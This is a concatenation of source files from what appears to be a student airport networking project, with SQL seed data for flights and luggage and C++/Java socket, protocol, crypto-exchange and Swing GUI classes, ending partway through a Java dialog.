INSERT INTO `BD_AIRPORT`.`flight` (`fk_idairplane`, `fk_idairline`, `departure`, `destination`, `takeOffTime`, `scheduledLanding`)
VALUES('714', 'WA', '2017-10-23', 'Marrakech', '08:02:00', '23:57:00');
INSERT INTO `BD_AIRPORT`.`flight` (`fk_idairplane`, `fk_idairline`, `departure`, `destination`, `takeOffTime`, `scheduledLanding`)
VALUES('666', 'WA', '2017-10-23', 'Sydney', '05:30:00', '20:57:00');
INSERT INTO `BD_AIRPORT`.`flight` (`fk_idairplane`, `fk_idairline`, `departure`, `destination`, `takeOffTime`, `scheduledLanding`)
VALUES('362', 'PA', '2017-10-23', 'Peshawar', '06:30:00', '16:21:00');
INSERT INTO `BD_AIRPORT`.`flight` (`fk_idairplane`, `fk_idairline`, `departure`, `destination`, `takeOffTime`, `scheduledLanding`)
VALUES('152', 'AFC', '2017-10-23', 'Paris', '07:20:00', '20:57:00');
INSERT INTO `BD_AIRPORT`.`passenger` VALUES('591-2377428-11', 'Vilvens', 'Claude');
INSERT INTO `BD_AIRPORT`.`passenger` VALUES('591-6317438-57', 'Charlet', 'Christophe');
INSERT INTO `BD_AIRPORT`.`passenger` VALUES('592-8373221-89', 'Gillet', 'Clément');
INSERT INTO `BD_AIRPORT`.`passenger` VALUES('592-2377428-41', 'Dreze', 'Morgan');
INSERT INTO `BD_AIRPORT`.`passenger` VALUES('592-4397458-51', 'Duchmoll', 'Pierre');
INSERT INTO `BD_AIRPORT`.`passenger` VALUES('592-2676491-61', 'Mult', 'Julien');
INSERT INTO `BD_AIRPORT`.`passenger` VALUES('592-2327423-71', 'Heinz', 'Ketchup');
INSERT INTO `BD_AIRPORT`.`passenger` VALUES('591-1266317-22', 'Ouftinenni', 'André');
INSERT INTO `BD_AIRPORT`.`passenger` VALUES('591-3488539-33', 'Charvilrom', 'Walter');
INSERT INTO `BD_AIRPORT`.`ticket` VALUES('714', 'WA', '2017-10-17', 'Marrakech', 070, '591-2377428-11', 0);
INSERT INTO `BD_AIRPORT`.`ticket` VALUES('714', 'WA', '2017-10-19', 'Marrakech', 070, '591-2377428-11', 0);
INSERT INTO `BD_AIRPORT`.`ticket` VALUES('714', 'WA', '2017-10-21', 'Marrakech', 070, '591-2377428-11', 0);
INSERT INTO `BD_AIRPORT`.`ticket` VALUES('714', 'WA', '2017-10-23', 'Marrakech', 070, '591-2377428-11', 0);
INSERT INTO `BD_AIRPORT`.`ticket` VALUES('714', 'WA', '2017-10-23', 'Marrakech', 081, '591-6317438-57', 0);
INSERT INTO `BD_AIRPORT`.`ticket` VALUES('714', 'WA', '2017-10-23', 'Marrakech', 102, '591-1266317-22', 0);
INSERT INTO `BD_AIRPORT`.`ticket` VALUES('152', 'AFC', '2017-10-23', 'Paris', 101, '591-3488539-33', 0);
INSERT INTO `BD_AIRPORT`.`ticket` VALUES('152', 'AFC', '2017-10-23', 'Paris', 102, '592-2327423-71', 0);
INSERT INTO `BD_AIRPORT`.`ticket` VALUES('152', 'AFC', '2017-10-23', 'Paris', 103, '592-2676491-61', 0);
INSERT INTO `BD_AIRPORT`.`ticket` VALUES('152', 'AFC', '2017-10-23', 'Paris', 10, '592-8373221-89', 0);
INSERT INTO `BD_AIRPORT`.`ticket` VALUES('362', 'PA', '2017-10-23', 'Peshawar', 30, '592-2377428-41', 0);
INSERT INTO `BD_AIRPORT`.`ticket` VALUES('362', 'PA', '2017-10-23', 'Peshawar', 40, '592-4397458-51', 0);
INSERT INTO `BD_AIRPORT`.`luggage` (`fk_idairplane`, `fk_idairline`, `fk_departure`, `fk_destination`, `fk_idticket`, `idluggage`, `weight`, `isluggage`)
VALUES('714', 'WA', '2017-10-23', 'Marrakech', 102, 001, 15.5, 1);
INSERT INTO `BD_AIRPORT`.`luggage` (`fk_idairplane`, `fk_idairline`, `fk_departure`, `fk_destination`, `fk_idticket`, `idluggage`, `weight`, `isluggage`)
VALUES('714', 'WA', '2017-10-23', 'Marrakech', 102, 002, 19.9, 0);
INSERT INTO `BD_AIRPORT`.`luggage` (`fk_idairplane`, `fk_idairline`, `fk_departure`, `fk_destination`, `fk_idticket`, `idluggage`, `weight`, `isluggage`)
VALUES('714', 'WA', '2017-10-23', 'Marrakech', 081, 001, 13.3, 1);
INSERT INTO `BD_AIRPORT`.`luggage` (`fk_idairplane`, `fk_idairline`, `fk_departure`, `fk_destination`, `fk_idticket`, `idluggage`, `weight`, `isluggage`, `checkedbycustom`, `comments`)
VALUES('714', 'WA', '2017-10-23', 'Marrakech', 070, 001, 25.0, 1, 'O', 'du sucre en poudre ?!?');
INSERT INTO `BD_AIRPORT`.`luggage` (`fk_idairplane`, `fk_idairline`, `fk_departure`, `fk_destination`, `fk_idticket`, `idluggage`, `weight`, `isluggage`, `checkedbycustom`, `comments`)
VALUES('714', 'WA', '2017-10-23', 'Marrakech', 070, 002, 19.9, 1, 'O', 'du sucre en poudre ?!?');
INSERT INTO `BD_AIRPORT`.`luggage` (`fk_idairplane`, `fk_idairline`, `fk_departure`, `fk_destination`, `fk_idticket`, `idluggage`, `weight`, `isluggage`, `checkedbycustom`, `comments`)
VALUES('714', 'WA', '2017-10-23', 'Marrakech', 070, 003, 19.9, 1, 'O', 'du sucre en poudre ?!?');
INSERT INTO `BD_AIRPORT`.`luggage` (`fk_idairplane`, `fk_idairline`, `fk_departure`, `fk_destination`, `fk_idticket`, `idluggage`, `weight`, `isluggage`, `checkedbycustom`, `comments`)
VALUES('714', 'WA', '2017-10-23', 'Marrakech', 070, 004, 14.0, 1, 'O', 'du sucre en poudre ?!?');
INSERT INTO `BD_AIRPORT`.`luggage` (`fk_idairplane`, `fk_idairline`, `fk_departure`, `fk_destination`, `fk_idticket`, `idluggage`, `weight`, `isluggage`, `checkedbycustom`, `comments`)
VALUES('714', 'WA', '2017-10-23', 'Marrakech', 070, 005, 5.0, 0, 'O', 'du sucre en poudre ?!?');
INSERT INTO `BD_AIRPORT`.`luggage` (`fk_idairplane`, `fk_idairline`, `fk_departure`, `fk_destination`, `fk_idticket`, `idluggage`, `weight`, `isluggage`)
VALUES('152', 'AFC', '2017-10-23', 'Paris', 101, 001, 15.5, 1);
INSERT INTO `BD_AIRPORT`.`luggage` (`fk_idairplane`, `fk_idairline`, `fk_departure`, `fk_destination`, `fk_idticket`, `idluggage`, `weight`, `isluggage`)
VALUES('152', 'AFC', '2017-10-23', 'Paris', 101, 002, 19.9, 0);
INSERT INTO `BD_AIRPORT`.`luggage` (`fk_idairplane`, `fk_idairline`, `fk_departure`, `fk_destination`, `fk_idticket`, `idluggage`, `weight`, `isluggage`)
VALUES('152', 'AFC', '2017-10-23', 'Paris', 102, 001, 13.3, 1);
INSERT INTO `BD_AIRPORT`.`luggage` (`fk_idairplane`, `fk_idairline`, `fk_departure`, `fk_destination`, `fk_idticket`, `idluggage`, `weight`, `isluggage`, `checkedbycustom`, `comments`)
VALUES('152', 'AFC', '2017-10-23', 'Paris', 103, 001, 25.0, 1, 'O', 'Ca send fort...');
INSERT INTO `BD_AIRPORT`.`luggage` (`fk_idairplane`, `fk_idairline`, `fk_departure`, `fk_destination`, `fk_idticket`, `idluggage`, `weight`, `isluggage`)
VALUES('152', 'AFC', '2017-10-23', 'Paris', 103, 002, 19.9, 1);
INSERT INTO `BD_AIRPORT`.`luggage` (`fk_idairplane`, `fk_idairline`, `fk_departure`, `fk_destination`, `fk_idticket`, `idluggage`, `weight`, `isluggage`, `checkedbycustom`, `comments`)
VALUES('152', 'AFC', '2017-10-23', 'Paris', 103, 003, 19.9, 1, 'O', 'Rien à signaler.');
INSERT INTO `BD_AIRPORT`.`luggage` (`fk_idairplane`, `fk_idairline`, `fk_departure`, `fk_destination`, `fk_idticket`, `idluggage`, `weight`, `isluggage`, `checkedbycustom`, `comments`)
VALUES('152', 'AFC', '2017-10-23', 'Paris', 101, 004, 14.0, 1, 'O', 'quel border!');
INSERT INTO `BD_AIRPORT`.`luggage` (`fk_idairplane`, `fk_idairline`, `fk_departure`, `fk_destination`, `fk_idticket`, `idluggage`, `weight`, `isluggage`, `checkedbycustom`, `comments`)
VALUES('152', 'AFC', '2017-10-23', 'Paris', 103, 005, 5.0, 0, 'O', 'Pas de cadena réglementaire, on a du le couper.');
INSERT INTO `BD_AIRPORT`.`luggage` (`fk_idairplane`, `fk_idairline`, `fk_departure`, `fk_destination`, `fk_idticket`, `idluggage`, `weight`, `isluggage`)
VALUES('362', 'PA', '2017-10-23', 'Peshawar', 30, 001, 15.5, 1);
INSERT INTO `BD_AIRPORT`.`luggage` (`fk_idairplane`, `fk_idairline`, `fk_departure`, `fk_destination`, `fk_idticket`, `idluggage`, `weight`, `isluggage`)
VALUES('362', 'PA', '2017-10-23', 'Peshawar', 30, 002, 19.9, 0);
INSERT INTO `BD_AIRPORT`.`luggage` (`fk_idairplane`, `fk_idairline`, `fk_departure`, `fk_destination`, `fk_idticket`, `idluggage`, `weight`, `isluggage`)
VALUES('362', 'PA', '2017-10-23', 'Peshawar', 30, 010, 13.3, 1);
INSERT INTO `BD_AIRPORT`.`luggage` (`fk_idairplane`, `fk_idairline`, `fk_departure`, `fk_destination`, `fk_idticket`, `idluggage`, `weight`, `isluggage`, `checkedbycustom`, `comments`)
VALUES('362', 'PA', '2017-10-23', 'Peshawar', 40, 001, 25.0, 1, 'O', 'du sucre en poudre ?!?');
<file_sep>/LaboReseauxBinome/Evaluation5/Application_CIAChat/Message.cpp
#include "Message.h"
Message::Message(int messageType, const std::string &user, const std::string &message, const std::string &tag)
: messageType(messageType), message(message), tag(tag), user(user) {
this->digest = Message::createDigest(this->message);
this->time = Message::getCurrentTime();
}
Message::Message(int messageType, const std::string &user, const std::string &message, const std::string &tag, int digest)
: messageType(messageType), message(message), tag(tag), digest(digest), user(user) {
this->time = Message::getCurrentTime();
}
Message::Message(int messageType, const std::string &user, const std::string &time, const std::string &message, const std::string &tag, int digest)
: time(time), messageType(messageType), message(message), tag(tag), digest(digest), user(user) {}
int Message::getMessageType() const { return this->messageType; }
const std::string &Message::getTime() const { return time; }
const std::string &Message::getMessage() const { return message; }
const std::string &Message::getTag() const { return tag; }
int Message::getDigest() const { return digest; }
const std::string &Message::getUser() const { return user; }
std::ostream &operator<<(std::ostream &os, const Message &message) {
os << "[" << message.time << "]";
os << "[" << message.getMessageTypeAsString() << "]";
os << "[" << message.tag << "]";
os << " " << message.user << " :";
os << " " << message.message;
return os;
}
std::string Message::getMessageTypeAsString() const {
switch(this->messageType){
case POST_QUESTION:
return std::string("Question");
case ANSWER_QUESTION:
return std::string("Réponse");
case POST_EVENT:
return std::string("Event");
default:
return std::string();
}
}
int Message::createDigest(std::string msg){
int hash = 0;
for(int i=0; i<msg.size(); i++)
hash += msg.at(i);
return hash%67;
}
std::string Message::getCurrentTime() {
std::stringstream buffer;
time_t tt = std::chrono::system_clock::to_time_t(std::chrono::system_clock::now());
struct tm *ptm = localtime(&tt);
buffer << std::put_time(ptm, "%H:%M:%S");
return buffer.str();
}
std::string Message::generateTag(std::vector<Message> messageList) {
bool dispo = false;
int random;
srand(static_cast<unsigned int>(std::time(nullptr)));
while(!dispo) {
dispo = true;
random = rand() % 10000 - 1;
for (int i = 0; i<messageList.size() && dispo; ++i) {
dispo = (messageList[i].tag) == std::to_string(random);
}
}
return std::to_string(random);
}
<file_sep>/LaboReseauxBinome/Evaluation1/Librairies/CSV/LoginCsvHandler.h
#ifndef CSV_LOGINCSVHANDLER_H
#define CSV_LOGINCSVHANDLER_H
#include <string>
#include <iostream>
#include "CsvHandler.h"
using namespace std;
class LoginCsvHandler {
private:
CsvHandler *csvHandler;
public:
LoginCsvHandler(string filePath, string sep);
virtual ~LoginCsvHandler();
const bool isValid(string username, string password) const;
};
#endif //CSV_LOGINCSVHANDLER_H
<file_sep>/final eclipse/Librairie/src/network/crypto/CryptographieAsymetriqueException.java
package network.crypto;
public class CryptographieAsymetriqueException extends Exception {
private static final long serialVersionUID = 1L;
public CryptographieAsymetriqueException() {
super("CryptageAsymétriqueException()");
}
public CryptographieAsymetriqueException(String msg) {
super(msg);
}
}
<file_sep>/final eclipse/Librairie/src/network/protocole/tickmap/reponse/ReponsePassenger.java
package network.protocole.tickmap.reponse;
import generic.server.AReponse;
public class ReponsePassenger extends AReponse {
protected ReponsePassenger(String message, boolean successful) {
super(message, successful);
}
/**
*
*/
private static final long serialVersionUID = 1L;
public static ReponsePassenger OK()
{
return new ReponsePassenger("",true);
}
public static ReponsePassenger KO(String msg)
{
return new ReponsePassenger(msg,false);
}
}
<file_sep>/part_1/serveur/Server.h
#include <stdio.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netdb.h>
#include <errno.h>
#include <netinet/in.h>
#include <netinet/tcp.h>
#include <arpa/inet.h>
class Socket
{
private:
int _socket;
struct hostent *_infoHost;
struct in_addr _addIp;
struct sockaddr_in _addrSock;
int tailleSock;
public:
Socket()
{
_socket= -1;
_infoHost = NULL;
memcpy(_addIp,0);
memcpy(_addrSock,0);
tailleSock = -1;
}
}<file_sep>/LaboReseauxBinome/Evaluation5/IACOP/src/network/Requete_LOGIN_GROUP.java
package network;
import java.io.ByteArrayOutputStream;
import java.io.DataOutputStream;
import java.io.IOException;
import java.io.UnsupportedEncodingException;
import java.util.Arrays;
import java.util.logging.Level;
import java.util.logging.Logger;
public class Requete_LOGIN_GROUP{
public static final int LOGIN_GROUP = 10;
private final String username;
private final byte[] digestedPassword;
private final long time;
private final double rand;
public Requete_LOGIN_GROUP(String username, byte[] digestedPassword, long time, double rand) {
this.username = username;
this.digestedPassword = <PASSWORD>;
this.time = time;
this.rand = rand;
}
public String toNetworkString(String separator){
try {
StringBuilder builder = new StringBuilder();
builder.append(String.valueOf(LOGIN_GROUP));
builder.append(separator);
builder.append(this.username);
builder.append(separator);
builder.append(new String(this.digestedPassword, "UTF-8"));
builder.append(separator);
builder.append(String.valueOf(this.time));
builder.append(separator);
builder.append(String.valueOf(this.rand));
return builder.toString();
} catch (UnsupportedEncodingException ex) {
Logger.getLogger(Requete_LOGIN_GROUP.class.getName()).log(Level.SEVERE, null, ex);
}
return null;
}
public static Requete_LOGIN_GROUP getInstance(String[] split){
if(split.length != 5){
System.out.println("Split.length!=5 :" + split.length);
return null;
}
try{
if(Integer.parseInt(split[0]) != LOGIN_GROUP){
System.out.println("ParseInt(split[0] != LOGIN_GROUP (" + split[0] + ")");
return null;
}
String username = split[1];
byte[] digestedPassword = split[2].getBytes();
long time = Long.parseLong(split[3]);
double rand = Double.parseDouble(split[4]);
return new Requete_LOGIN_GROUP(username, digestedPassword, time, rand);
}catch(NumberFormatException ex){
System.out.println("CATCH NumberFormatException :" + ex.getMessage());
return null;
}
}
//<editor-fold defaultstate="collapsed" desc="GETTER & SETTER">
public String getUsername() {
return username;
}
public byte[] getDigestedPassword() {
return <PASSWORD>edPassword;
}
public long getTime() {
return time;
}
public double getRand() {
return rand;
}
//</editor-fold>
}
<file_sep>/LaboReseauxBinome/Evaluation1/Librairies/Tests/CsvHandlerTest.cpp
#include <iostream>
#include <vector>
#include "../CSV/CsvHandler.h"
#define csvFilePath "Librairies/Tests/test.csv"
#define csvWrongFilePath "Librairies/Tests/FICHIERINEXISTANT.csv"
int main(){
vector<string> fields;
string record;
cout << "Début des tests..." << endl;
CsvHandler *csvHandler = new CsvHandler(csvFilePath, ";");
cout << "***** Test de lecture d'un fichier existant *****" << endl;
cout << " Nombre de lignes du fichier CSV : " << csvHandler->getNbRecords() << endl << endl;
while(csvHandler->hasNextRecord()) {
record = csvHandler->getNextRecord();
cout << " tuple : " << record << endl;
fields = csvHandler->getFields(record);
for (string field : fields) {
cout << " champ : " << field << endl;
}
}
cout << endl << "***** Test d'insertion de record dans un fichier existant *****" << endl;
cout << " Nombre de lignes du fichier CSV (AVANT) : " << csvHandler->getNbRecords() << endl << endl;
fields.clear();
fields.push_back("valeur1");
fields.push_back("valeur2");
fields.push_back("valeur3");
record.clear();
record = csvHandler->createRecord(fields);
cout << " Record à insérer : " << record << endl;
csvHandler->writeRecord(record);
cout << " Nombre de lignes du fichier CSV (APRES) : " << csvHandler->getNbRecords() << endl << endl;
delete csvHandler;
cout << endl << "***** test fichier inexistant *****" << endl;
csvHandler = new CsvHandler(csvWrongFilePath, ";");
try{
csvHandler->hasNextRecord();
}catch(const CsvException& ex){
cout << " l'exception est bien réceptionnée : " << ex.what() << endl;
}
cout << endl << "***** Test d'insertion de record dans un fichier inexistant *****" << endl;
fields.clear();
fields.push_back("valeur1");
fields.push_back("valeur2");
fields.push_back("valeur3");
record.clear();
record = csvHandler->createRecord(fields);
cout << " Record à insérer : " << record << endl;
try{
csvHandler->writeRecord(record);
cout << " Nombre de lignes du fichier CSV (APRES) : " << csvHandler->getNbRecords() << endl << endl;
}catch(const CsvException& ex){
cout << "Erreur lors de l'écriture du record : " << ex.what() << endl;
}
return 0;
}<file_sep>/LaboReseauxBinome/Evaluation1/Librairies/SocketUtilities/HostInfo.cpp
#include "HostInfo.h"
HostInfo::HostInfo() : HostInfo("localhost"){}
HostInfo::HostInfo(const char* hostDescriptor) {
this->openHostDatabase();
/* Acquisition des informations sur l'ordinateur local */
if((this->hostPtr = gethostbyname(hostDescriptor)) == NULL)
throw HostException("HostInfo::HostInfo(string hostDescriptor) >> Could not get the TCPhost by name.");
}
HostInfo::HostInfo(const HostInfo &orig) {
this->databaseIsOpen = orig.databaseIsOpen;
this->hostPtr = orig.hostPtr;
}
HostInfo::~HostInfo() {
if(databaseIsOpen)
endhostent();
}
void HostInfo::openHostDatabase() {
endhostent();
this->databaseIsOpen = true;
sethostent(true);
}
const char* HostInfo::getHostIpAddress() const {
if(this->hostPtr == nullptr)
return "";
struct in_addr* addr_ptr;
addr_ptr = (struct in_addr *) *hostPtr->h_addr_list;
return inet_ntoa(*addr_ptr);
}
const char* HostInfo::getHostName() const {
if(this->hostPtr == nullptr)
return "";
return this->hostPtr->h_name;
}
std::ostream &operator<<(std::ostream &os, const HostInfo &info) {
os << " --------------- HostInfo -------------------" << std::endl;
os << " Name: " << info.getHostName() << std::endl;
os << " Adress: " << info.getHostIpAddress() << std::endl;
os << " --------------- Fin ------------------" << std::endl;
return os;
}<file_sep>/LaboReseauxBinome/Evaluation6/Serveur_Billets/src/serveur_billets/RunnableTICKMAP.java
package serveur_billets;
import communicator.Communicator;
import communicator.CommunicatorException;
import database.utilities.DatabaseAccess;
import java.sql.SQLException;
import server.ConsoleServeur;
import tickmap.reponse.ReponseTICKMAP_login;
import tickmap.requete.RequeteTICKMAP;
import tickmap.requete.RequeteTICKMAP_login;
import tickmap.requete.RequeteTICKMAP_logout;
public class RunnableTICKMAP implements Runnable{
private final ThreadPoolTICKMAP parent;
private final ConsoleServeur guiApplication;
private final Communicator communicator;
private final DatabaseAccess databaseAccess;
private Class previousRequete;
private boolean endOfTransaction;
private boolean clientConnected;
public RunnableTICKMAP(ThreadPoolTICKMAP parent, ConsoleServeur guiApplication, Communicator communicator, DatabaseAccess databaseAccess) {
this.parent = parent;
this.guiApplication = guiApplication;
this.communicator = communicator;
this.databaseAccess = databaseAccess;
}
@Override
public void run() {
boolean failedToConnect;
this.endOfTransaction = false;
try {
this.databaseAccess.connect();
failedToConnect = false;
} catch (ClassNotFoundException | SQLException ex) {
failedToConnect = true;
}
try{
while(!this.endOfTransaction){
RequeteTICKMAP req = this.communicator.receiveSerializable(RequeteTICKMAP.class);
System.out.println("Received request type : " + req.getClass().toString());
if(failedToConnect){
this.communicator.SendSerializable(ReponseTICKMAP_login.KO("Server could not connect to the database."));
endTransaction();
}
else{
Runnable runnable = req.createRunnable(this.parent, this.communicator, this.guiApplication, this.databaseAccess);
if(req instanceof RequeteTICKMAP_login){
runnable.run();
if(req.requeteSucceeded()){
setClientIsConnected();
previousRequete = RequeteTICKMAP_login.class;
}
}
else if(req instanceof RequeteTICKMAP_logout){
runnable.run();
endTransaction();
previousRequete = null;
}
}
}
this.databaseAccess.commit();
this.guiApplication.TraceEvenements(this.communicator.getSocket().getRemoteSocketAddress().toString()
+ "#Commit successful"
+ "#LUGAPRunnable");
this.communicator.close();
} catch (CommunicatorException | SQLException ex) {
this.guiApplication.TraceEvenements(this.communicator.getSocket().getRemoteSocketAddress().toString()
+ "#" + ex.getMessage()
+ "#LUGAPRunnable");
try {
this.databaseAccess.rollback();
this.guiApplication.TraceEvenements(this.communicator.getSocket().getRemoteSocketAddress().toString()
+ "#Rollback successful"
+ "#LUGAPRunnable");
} catch (SQLException ex1) {
this.guiApplication.TraceEvenements(this.communicator.getSocket().getRemoteSocketAddress().toString()
+ "#" + ex.getMessage()
+ "#LUGAPRunnable");
}
}
}
private void endTransaction(){
this.endOfTransaction = true;
}
private boolean isClientConnected(){
return this.clientConnected;
}
private void setClientIsConnected(){
this.clientConnected = true;
}
}
<file_sep>/LaboReseauxBinome/Evaluation6/TICKMAP/src/tickmap/reponse/ReponseTICKMAP_cleSym.java
package tickmap.reponse;
import java.io.Serializable;
import java.security.InvalidKeyException;
import java.security.NoSuchAlgorithmException;
import java.security.NoSuchProviderException;
import java.security.PrivateKey;
import javax.crypto.BadPaddingException;
import javax.crypto.Cipher;
import javax.crypto.IllegalBlockSizeException;
import javax.crypto.NoSuchPaddingException;
import javax.crypto.SecretKey;
import javax.crypto.spec.SecretKeySpec;
import server.Reponse;
public class ReponseTICKMAP_cleSym extends Reponse implements Serializable {
private byte[] cleAuthCrypt;
private byte[] cleChiffCrypt;
private ReponseTICKMAP_cleSym(String message, boolean successful, byte[] auth, byte[] chiff){
super(message, successful);
this.cleAuthCrypt = auth;
this.cleChiffCrypt = chiff;
}
public static ReponseTICKMAP_cleSym OK(SecretKey auth, SecretKey chiff){
return new ReponseTICKMAP_cleSym("", true, auth, chiff);
}
public static ReponseTICKMAP_cleSym KO(String message){
return new ReponseTICKMAP_cleSym(message, false, null, null);
}
public SecretKey getCleAuth(PrivateKey key)
throws NoSuchAlgorithmException, NoSuchAlgorithmException, NoSuchProviderException,
InvalidKeyException, NoSuchPaddingException, IllegalBlockSizeException, BadPaddingException {
Cipher chiff = Cipher.getInstance("RSA", "BC");
chiff.init(Cipher.DECRYPT_MODE, key);
byte[] cleDecrypt = chiff.doFinal(cleAuthCrypt);
return new SecretKeySpec(cleDecrypt, "AES");
}
public SecretKey getCleChiff(PrivateKey key)
throws NoSuchAlgorithmException, NoSuchAlgorithmException, NoSuchProviderException,
InvalidKeyException, NoSuchPaddingException, IllegalBlockSizeException, BadPaddingException {
Cipher chiff = Cipher.getInstance("RSA", "BC");
chiff.init(Cipher.DECRYPT_MODE, key);
byte[] cleDecrypt = chiff.doFinal(cleChiffCrypt);
return new SecretKeySpec(cleDecrypt, "AES");
}
}
<file_sep>/LaboReseauxBinome/Evaluation1/Librairies/SocketUtilities/ClientSocket.cpp
#include "ClientSocket.h"
ClientSocket::ClientSocket() : Socket() {
std::cout << __PRETTY_FUNCTION__ << std::endl;
}
ClientSocket::ClientSocket(unsigned int portNumber, const HostInfo &info, const std::string &separator) throw(ErrnoException, SocketException)
: Socket(portNumber, info, separator) {
std::cout << __PRETTY_FUNCTION__ << std::endl;
}
ClientSocket::ClientSocket(const Socket &orig) : Socket(orig) {
std::cout << __PRETTY_FUNCTION__ << std::endl;
}
void ClientSocket::connectToServer() const throw(ErrnoException) {
std::cout << __PRETTY_FUNCTION__ << std::endl;
if(connect(this->getSocketHandle(), (struct sockaddr *) &(this->socketAddress), sizeof(struct sockaddr_in)) == -1)
throw ErrnoException(errno, "void ClientSocket::connectToTCPServer() >> Error trying to connect to server.");
}
ClientSocket::~ClientSocket() {
if(this->socketHandle!= -1)
close(this->socketHandle);
}
<file_sep>/final eclipse/Librairie/src/network/protocole/tickmap/reponse/ReponseExchangeKey.java
package network.protocole.tickmap.reponse;
import java.io.IOException;
import java.security.NoSuchAlgorithmException;
import java.security.NoSuchProviderException;
import java.security.PublicKey;
import javax.crypto.Cipher;
import javax.crypto.NoSuchPaddingException;
import javax.crypto.SecretKey;
import generic.server.AReponse;
import network.crypto.ACryptographieAsymetrique;
import network.crypto.ConverterObject;
import network.crypto.CryptographieAsymetriqueException;
public class ReponseExchangeKey extends AReponse {
/**
*
*/
private static final long serialVersionUID = 1L;
private SecretKey keyHMAC;
private SecretKey keyCipher;
private byte[] encryptedKeyHMAC;
private byte[] encryptedKeyCipher;
public static ReponseExchangeKey OK(SecretKey keyHMAC, SecretKey keyCipher,PublicKey publicKey)
throws NoSuchAlgorithmException, NoSuchProviderException, NoSuchPaddingException, CryptographieAsymetriqueException,
IOException{
return new ReponseExchangeKey("", true,keyHMAC,keyCipher,publicKey);
}
public static ReponseExchangeKey KO(String message){
return new ReponseExchangeKey(message, false);
}
private ReponseExchangeKey(String message, boolean successful,SecretKey keyHMAC, SecretKey keyCipher,PublicKey publicKey)
throws NoSuchAlgorithmException, NoSuchProviderException, NoSuchPaddingException, CryptographieAsymetriqueException,
IOException {
super(message, successful);
//crypté les clés
this.setEncryptedKeyCipher(ACryptographieAsymetrique.encrypt(Cipher.getInstance("RSA/ECB/PKCS1Padding", "BC"), ConverterObject.convertObjectToByte(keyCipher), publicKey));
this.setEncryptedKeyHMAC(ACryptographieAsymetrique.encrypt(Cipher.getInstance("RSA/ECB/PKCS1Padding", "BC"), ConverterObject.convertObjectToByte(keyHMAC), publicKey));
this.keyCipher = keyCipher;
this.keyHMAC = keyHMAC;
}
private ReponseExchangeKey(String message, boolean successful) {
super(message, successful);
}
public SecretKey getKeyHMAC() {
return keyHMAC;
}
public SecretKey getKeyCipher() {
return keyCipher;
}
public byte[] getEncryptedKeyHMAC() {
return encryptedKeyHMAC;
}
public void setEncryptedKeyHMAC(byte[] encryptedKeyHMAC) {
this.encryptedKeyHMAC = encryptedKeyHMAC;
}
public byte[] getEncryptedKeyCipher() {
return encryptedKeyCipher;
}
public void setEncryptedKeyCipher(byte[] encryptedKeyCipher) {
this.encryptedKeyCipher = encryptedKeyCipher;
}
}
<file_sep>/part_1/CheckIn-Server/makefile
.SILENT:
DEBUG=
Appli: Serveur
Serveur: Serveur.c Libcsv.o Network.o
gcc Serveur.c -pthread Libcsv.o Network.o $(DEBUG) -o Serveur
echo "Compile Serveur"
Libcsv.o: Libcsv.c
gcc -c Libcsv.c $(DEBUG)
echo "Compile Libcsv.o"
Network.o: Network.c
gcc -c Network.c $(DEBUG)
echo "Compile Network.o"
clobber: clean
rm -f ./Serveur
echo Projet nettoyé
clean:
rm -f ./*.o ./core
echo Fichiers obj et core effacés
<file_sep>/part_3/Evaluation3(ancien)/Application_Bagages/src/application_bagages/JDialogLuggageList.java
package application_bagages;
import lugap.requete.RequeteLUGAP_updateFieldComments;
import lugap.requete.RequeteLUGAP_updateFieldCheckedByCustoms;
import lugap.requete.RequeteLUGAP_updateFieldLoaded;
import communicator.Communicator;
import communicator.CommunicatorException;
import entities.Flight;
import entities.Luggage;
import java.awt.event.WindowEvent;
import java.util.HashMap;
import java.util.Iterator;
import javax.swing.JLabel;
import javax.swing.JOptionPane;
import javax.swing.event.TableModelEvent;
import javax.swing.event.TableModelListener;
import javax.swing.table.DefaultTableCellRenderer;
import javax.swing.table.DefaultTableModel;
import lugap.reponse.ReponseLUGAP_getLuggages;
import lugap.reponse.ReponseLUGAP_updateField;
import lugap.requete.RequeteLUGAP_getLuggages;
import lugap.requete.RequeteLUGAP_updateFieldReceived;
public class JDialogLuggageList extends javax.swing.JDialog implements TableModelListener {
private DefaultTableModel model = new DefaultTableModel(){
@Override
public boolean isCellEditable(int row, int column) {
return column > 2;
}
};
private final Flight flight;
private final HashMap<String, Luggage> luggages;
private final Communicator communicator;
private static final String[] TABLEHEADER = {"Identifiant", "Poids", "Type", "Réceptionné (O/N)", "Chargé en soute (O/N/R)", "Vérifié par la douane (O/N)", "Remarques"};
public JDialogLuggageList(JFrameFlightList parent, Communicator communicator, Flight flight) {
super(parent, true);
initComponents();
this.model.setColumnIdentifiers(TABLEHEADER);
this.model.addTableModelListener(this);
tableLuggageList.setModel(model);
DefaultTableCellRenderer rightRenderer = new DefaultTableCellRenderer();
DefaultTableCellRenderer centerRenderer = new DefaultTableCellRenderer();
rightRenderer.setHorizontalAlignment(JLabel.RIGHT);
centerRenderer.setHorizontalAlignment(JLabel.CENTER);
tableLuggageList.getColumnModel().getColumn(1).setCellRenderer(rightRenderer);
tableLuggageList.getColumnModel().getColumn(2).setCellRenderer(centerRenderer);
tableLuggageList.getColumnModel().getColumn(3).setCellRenderer(centerRenderer);
tableLuggageList.getColumnModel().getColumn(4).setCellRenderer(centerRenderer);
tableLuggageList.getColumnModel().getColumn(5).setCellRenderer(centerRenderer);
tableLuggageList.getColumnModel().getColumn(0).setMaxWidth(350);
tableLuggageList.getColumnModel().getColumn(0).setPreferredWidth(280);
tableLuggageList.getColumnModel().getColumn(1).setMaxWidth(75);
tableLuggageList.getColumnModel().getColumn(1).setPreferredWidth(60);
tableLuggageList.getColumnModel().getColumn(2).setMaxWidth(75);
tableLuggageList.getColumnModel().getColumn(2).setPreferredWidth(75);
tableLuggageList.getColumnModel().getColumn(3).setMaxWidth(100);
tableLuggageList.getColumnModel().getColumn(3).setMinWidth(30);
tableLuggageList.getColumnModel().getColumn(3).setPreferredWidth(40);
tableLuggageList.getColumnModel().getColumn(4).setMaxWidth(120);
tableLuggageList.getColumnModel().getColumn(4).setMinWidth(30);
tableLuggageList.getColumnModel().getColumn(4).setPreferredWidth(40);
tableLuggageList.getColumnModel().getColumn(5).setMaxWidth(150);
tableLuggageList.getColumnModel().getColumn(5).setMinWidth(30);
tableLuggageList.getColumnModel().getColumn(5).setPreferredWidth(40);
this.communicator = communicator;
this.flight = flight;
this.luggages = new HashMap<>();
